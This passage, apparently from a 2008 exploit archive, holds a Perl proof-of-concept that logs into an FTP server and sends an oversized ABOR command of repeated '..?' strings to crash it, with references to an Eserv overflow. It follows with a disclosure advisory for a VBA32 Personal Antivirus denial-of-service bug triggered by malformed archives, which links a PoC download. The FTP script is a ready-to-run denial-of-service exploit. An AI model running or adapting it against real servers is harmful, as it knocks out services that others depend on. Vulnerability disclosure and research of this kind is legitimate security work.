# http://www.zeroscience.org
#
# 14.10.2008
#

use Net::FTP;

$ipaddr = "127.0.0.1";
$mana = "..?" x 13000;
$user = "admin";
$pass = "nimda";
$port = 21;

$ftp = Net::FTP->new("$ipaddr", Debug => 0) || die "Cannot connect to $ipaddr on port $port: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->abor($mana);

$ftp->quit;

print "\nDone!\n";

---------------------------------------------------

http://www.milw0rm.com/exploits/6752
http://www.packetstormsecurity.org/filedesc/eserv-overflow.txt.html
http://www.securityfocus.com/bid/31753/

VBA32 Personal Antivirus 3.12.8.x (malformed archive) Denial of Service PoC

Summary: Antivirus program for personal computers running Windows which is a reliable and, it is crucial, quick tool to detect and neutralize computer viruses, mail worms, trojan programs and other malware (backdoors, adware, spyware, etc) in real time and by request.

Desc: VBA32 (VirusBlokAda) Personal Version 3.12.8.x suffers from a denial of service vulnerability that causes memory corruption and causing the software to crash while scanning a malformed archive.

Product web page: http://www.anti-virus.by/en/personal.html

Tested on Microsoft Windows XP SP2 (English)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [m00t] com

http://www.zeroscience.org

03.10.2008

PoC: http://zeroscience.org/codes/vba32_poc.rar

http://www.milw0rm.com/exploits/6658
http://packetstormsecurity.org/filedesc/vba32-poc-tgz.html
http://www.sebug.net/exploit/4800/
http://www.securityfocus.com/bid/31560
http://heapoverflow.com/f0rums/public/9134-vba32-personal-antivirus-3-12-8-x-malformed-archive-dos-exploit.html